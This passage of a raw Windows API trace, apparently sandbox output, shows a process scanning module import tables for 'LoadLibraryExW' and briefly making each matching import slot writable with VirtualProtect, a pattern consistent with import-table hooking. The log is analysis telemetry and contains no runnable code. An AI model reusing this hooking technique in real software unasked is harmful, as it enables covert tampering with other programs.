(lpString1="VerifyVersionInfoW", lpString2="LoadLibraryExW") returned 1 [0079.545] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0079.545] lstrcmpiA (lpString1="ReadConsoleW", lpString2="LoadLibraryExW") returned 1 [0079.545] lstrcmpiA (lpString1="VirtualProtect", lpString2="LoadLibraryExW") returned 1 [0079.545] lstrcmpiA (lpString1="GetProcessId", lpString2="LoadLibraryExW") returned -1 [0079.545] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0079.545] lstrcmpiA (lpString1="GetCommandLineW", lpString2="LoadLibraryExW") returned -1 [0079.545] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0079.545] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0079.545] lstrcmpiA (lpString1="VirtualQuery", lpString2="LoadLibraryExW") returned 1 [0079.545] lstrcmpiA (lpString1="GetEnvironmentVariableW", lpString2="LoadLibraryExW") returned -1 [0079.545] lstrcmpiA (lpString1="GetNativeSystemInfo", lpString2="LoadLibraryExW") returned -1 [0079.545] lstrcmpiA (lpString1="GetTempPathW", lpString2="LoadLibraryExW") returned -1 [0079.545] lstrcmpiA (lpString1="CreateDirectoryW", lpString2="LoadLibraryExW") returned -1 [0079.545] lstrcmpiA (lpString1="GetUserDefaultLangID", lpString2="LoadLibraryExW") returned -1 [0079.545] lstrcmpiA (lpString1="SetEnvironmentVariableW", lpString2="LoadLibraryExW") returned 1 [0079.545] lstrcmpiA (lpString1="GetFileAttributesW", lpString2="LoadLibraryExW") returned -1 [0079.545] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0079.545] lstrcmpiA (lpString1="OutputDebugStringW", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="GetComputerNameExW", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="FreeLibrary", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="WriteProcessMemory", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="ReadProcessMemory", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="VirtualProtectEx", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="SetLastError", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="RaiseException", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="IsDebuggerPresent", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="QueryPerformanceFrequency", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="HeapCreate", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="HeapDestroy", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="WriteFile", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="DeleteFileW", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="GetLocalTime", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="GetCurrentDirectoryW", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="FormatMessageA", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="ReleaseSRWLockExclusive", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="AcquireSRWLockExclusive", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="GetModuleHandleExW", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="HeapFree", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="HeapSize", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="HeapReAlloc", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="HeapAlloc", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="RtlCaptureStackBackTrace", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0079.546] lstrcmpiA (lpString1="GetSystemInfo", lpString2="LoadLibraryExW") returned -1 [0079.546] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="OpenProcess", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="GetFileSizeEx", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="SetEndOfFile", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="FlushFileBuffers", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="FindClose", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="RtlAddFunctionTable", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="CreateRemoteThread", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="RtlDeleteFunctionTable", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="GetStdHandle", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="GetVersion", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="CreateProcessW", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="SleepEx", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="GetFileType", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="UnlockFileEx", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="LockFileEx", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="SetNamedPipeHandleState", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="CreateNamedPipeW", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="TransactNamedPipe", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="WaitNamedPipeW", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="GetStringTypeW", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="EncodePointer", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="DecodePointer", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="InitializeCriticalSectionAndSpinCount", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="LCMapStringW", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="GetCPInfo", lpString2="LoadLibraryExW") returned -1 [0079.547] lstrcmpiA (lpString1="WaitForSingleObjectEx", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="LoadLibraryExW") returned 1 [0079.547] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="LoadLibraryExW") returned 1 [0079.548] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="LoadLibraryExW") returned 1 [0079.548] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.548] lstrcmpiA (lpString1="IsProcessorFeaturePresent", lpString2="LoadLibraryExW") returned -1 [0079.548] lstrcmpiA (lpString1="GetStartupInfoW", lpString2="LoadLibraryExW") returned -1 [0079.548] lstrcmpiA (lpString1="InitializeSListHead", lpString2="LoadLibraryExW") returned -1 [0079.548] lstrcmpiA (lpString1="RtlPcToFileHeader", lpString2="LoadLibraryExW") returned 1 [0079.548] lstrcmpiA (lpString1="RtlUnwindEx", lpString2="LoadLibraryExW") returned 1 [0079.548] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0079.548] VirtualProtect (in: lpAddress=0x7fef4b0e370, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x2) returned 1 [0079.548] VirtualProtect (in: lpAddress=0x7fef4b0e370, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x40) returned 1 [0079.548] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc270000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fefc270000, AllocationBase=0x7fefc270000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.548] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.548] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x241c160 [0079.550] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.550] lstrcmpiA (lpString1="SetLastError", lpString2="LoadLibraryExW") returned 1 [0079.550] lstrcmpiA (lpString1="GetFileTime", lpString2="LoadLibraryExW") returned -1 [0079.550] lstrcmpiA (lpString1="SetFileTime", lpString2="LoadLibraryExW") returned 1 [0079.550] lstrcmpiA (lpString1="GetFullPathNameA", lpString2="LoadLibraryExW") returned -1 [0079.550] lstrcmpiA (lpString1="lstrcmpiA", lpString2="LoadLibraryExW") returned 1 [0079.550] lstrcmpiA (lpString1="_lcreat", lpString2="LoadLibraryExW") returned -1 [0079.550] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0079.550] lstrcmpiA (lpString1="_lclose", lpString2="LoadLibraryExW") returned -1 [0079.550] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0079.550] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0079.550] lstrcmpiA (lpString1="_lopen", lpString2="LoadLibraryExW") returned -1 [0079.550] lstrcmpiA (lpString1="_lread", lpString2="LoadLibraryExW") returned -1 [0079.550] lstrcmpiA (lpString1="_lwrite", lpString2="LoadLibraryExW") returned -1 [0079.550] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0079.550] lstrcmpiA (lpString1="_llseek", lpString2="LoadLibraryExW") returned -1 [0079.550] lstrcmpiA (lpString1="GetFileSize", lpString2="LoadLibraryExW") returned -1 [0079.550] lstrcmpiA (lpString1="DeleteFileA", lpString2="LoadLibraryExW") returned -1 [0079.550] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0079.550] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0079.550] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0079.550] lstrcmpiA (lpString1="FreeLibrary", lpString2="LoadLibraryExW") returned -1 [0079.550] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0079.550] lstrcmpiA (lpString1="SetFilePointer", lpString2="LoadLibraryExW") returned 1 [0079.550] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0079.550] lstrcmpiA (lpString1="GetFileSizeEx", lpString2="LoadLibraryExW") returned -1 [0079.550] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0079.551] lstrcmpiA (lpString1="SetErrorMode", lpString2="LoadLibraryExW") returned 1 [0079.551] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0079.551] VirtualProtect (in: lpAddress=0x7fefc2760d8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x2) returned 1 [0079.551] VirtualProtect (in: lpAddress=0x7fefc2760d8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x40) returned 1 [0079.551] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd670000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fefd670000, AllocationBase=0x7fefd670000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.551] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.551] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030cf0 [0079.551] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0079.551] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.551] lstrcmpiA (lpString1="API-MS-Win-Core-Console-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.551] lstrcmpiA (lpString1="API-MS-Win-Core-DateTime-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.551] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.551] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.551] lstrcmpiA (lpString1="API-MS-Win-Core-Fibers-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.551] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.551] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.551] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.551] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.551] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.551] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.551] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.551] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.551] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.552] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.552] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.552] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.552] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.552] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.552] lstrcmpiA (lpString1="API-MS-Win-Core-Util-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.552] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2030cf0 | out: hHeap=0x2020000) returned 1 [0079.552] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd710000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fefd710000, AllocationBase=0x7fefd710000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.552] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.552] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030cf0 [0079.552] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.552] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.552] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0079.552] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.552] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.552] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.552] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.552] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.552] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.552] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.552] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.552] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.552] lstrcmpiA (lpString1="GetDiskFreeSpaceExW", lpString2="LoadLibraryExW") returned -1 [0079.552] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0079.552] lstrcmpiA (lpString1="GetOverlappedResult", lpString2="LoadLibraryExW") returned -1 [0079.552] lstrcmpiA (lpString1="VirtualAllocEx", lpString2="LoadLibraryExW") returned 1 [0079.552] lstrcmpiA (lpString1="VirtualFree", lpString2="LoadLibraryExW") returned 1 [0079.552] lstrcmpiA (lpString1="OpenProcess", lpString2="LoadLibraryExW") returned 1 [0079.552] lstrcmpiA (lpString1="GetActiveProcessorCount", lpString2="LoadLibraryExW") returned -1 [0079.552] lstrcmpiA (lpString1="GlobalMemoryStatusEx", lpString2="LoadLibraryExW") returned -1 [0079.552] lstrcmpiA (lpString1="GetSystemInfo", lpString2="LoadLibraryExW") returned -1 [0079.552] lstrcmpiA (lpString1="GetDriveTypeW", lpString2="LoadLibraryExW") returned -1 [0079.552] lstrcmpiA (lpString1="GetLogicalDriveStringsW", lpString2="LoadLibraryExW") returned -1 [0079.552] lstrcmpiA (lpString1="GetSystemWindowsDirectoryW", lpString2="LoadLibraryExW") returned -1 [0079.552] lstrcmpiA (lpString1="DeviceIoControl", lpString2="LoadLibraryExW") returned -1 [0079.552] lstrcmpiA (lpString1="GetVolumeInformationW", lpString2="LoadLibraryExW") returned -1 [0079.552] lstrcmpiA (lpString1="GetComputerNameW", lpString2="LoadLibraryExW") returned -1 [0079.552] lstrcmpiA (lpString1="HeapSize", lpString2="LoadLibraryExW") returned -1 [0079.552] lstrcmpiA (lpString1="ReleaseMutex", lpString2="LoadLibraryExW") returned 1 [0079.552] lstrcmpiA (lpString1="ExpandEnvironmentStringsA", lpString2="LoadLibraryExW") returned -1 [0079.553] lstrcmpiA (lpString1="RegKrnInitialize", lpString2="LoadLibraryExW") returned 1 [0079.553] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0079.553] lstrcmpiA (lpString1="LocalUnlock", lpString2="LoadLibraryExW") returned 1 [0079.553] lstrcmpiA (lpString1="LocalLock", lpString2="LoadLibraryExW") returned 1 [0079.553] lstrcmpiA (lpString1="GetComputerNameA", lpString2="LoadLibraryExW") returned -1 [0079.553] lstrcmpiA (lpString1="EncodePointer", lpString2="LoadLibraryExW") returned -1 [0079.553] lstrcmpiA (lpString1="CreateMutexW", lpString2="LoadLibraryExW") returned -1 [0079.553] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0079.553] lstrcmpiA (lpString1="ReadProcessMemory", lpString2="LoadLibraryExW") returned 1 [0079.553] lstrcmpiA (lpString1="FreeLibraryAndExitThread", lpString2="LoadLibraryExW") returned -1 [0079.553] lstrcmpiA (lpString1="DecodePointer", lpString2="LoadLibraryExW") returned -1 [0079.553] lstrcmpiA (lpString1="DuplicateHandle", lpString2="LoadLibraryExW") returned -1 [0079.553] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0079.553] VirtualProtect (in: lpAddress=0x7fefd786e90, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x2) returned 1 [0079.553] VirtualProtect (in: lpAddress=0x7fefd786e90, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x40) returned 1 [0079.553] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff190000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7feff190000, AllocationBase=0x7feff190000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.553] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.553] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030d60 [0079.553] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.553] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.553] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.553] lstrcmpiA (lpString1="API-MS-Win-Core-DelayLoad-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.553] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0079.554] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2030d60 | out: hHeap=0x2020000) returned 1 [0079.554] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefe900000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fefe900000, AllocationBase=0x7fefe900000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.554] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.554] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030d60 [0079.554] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-IO-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA 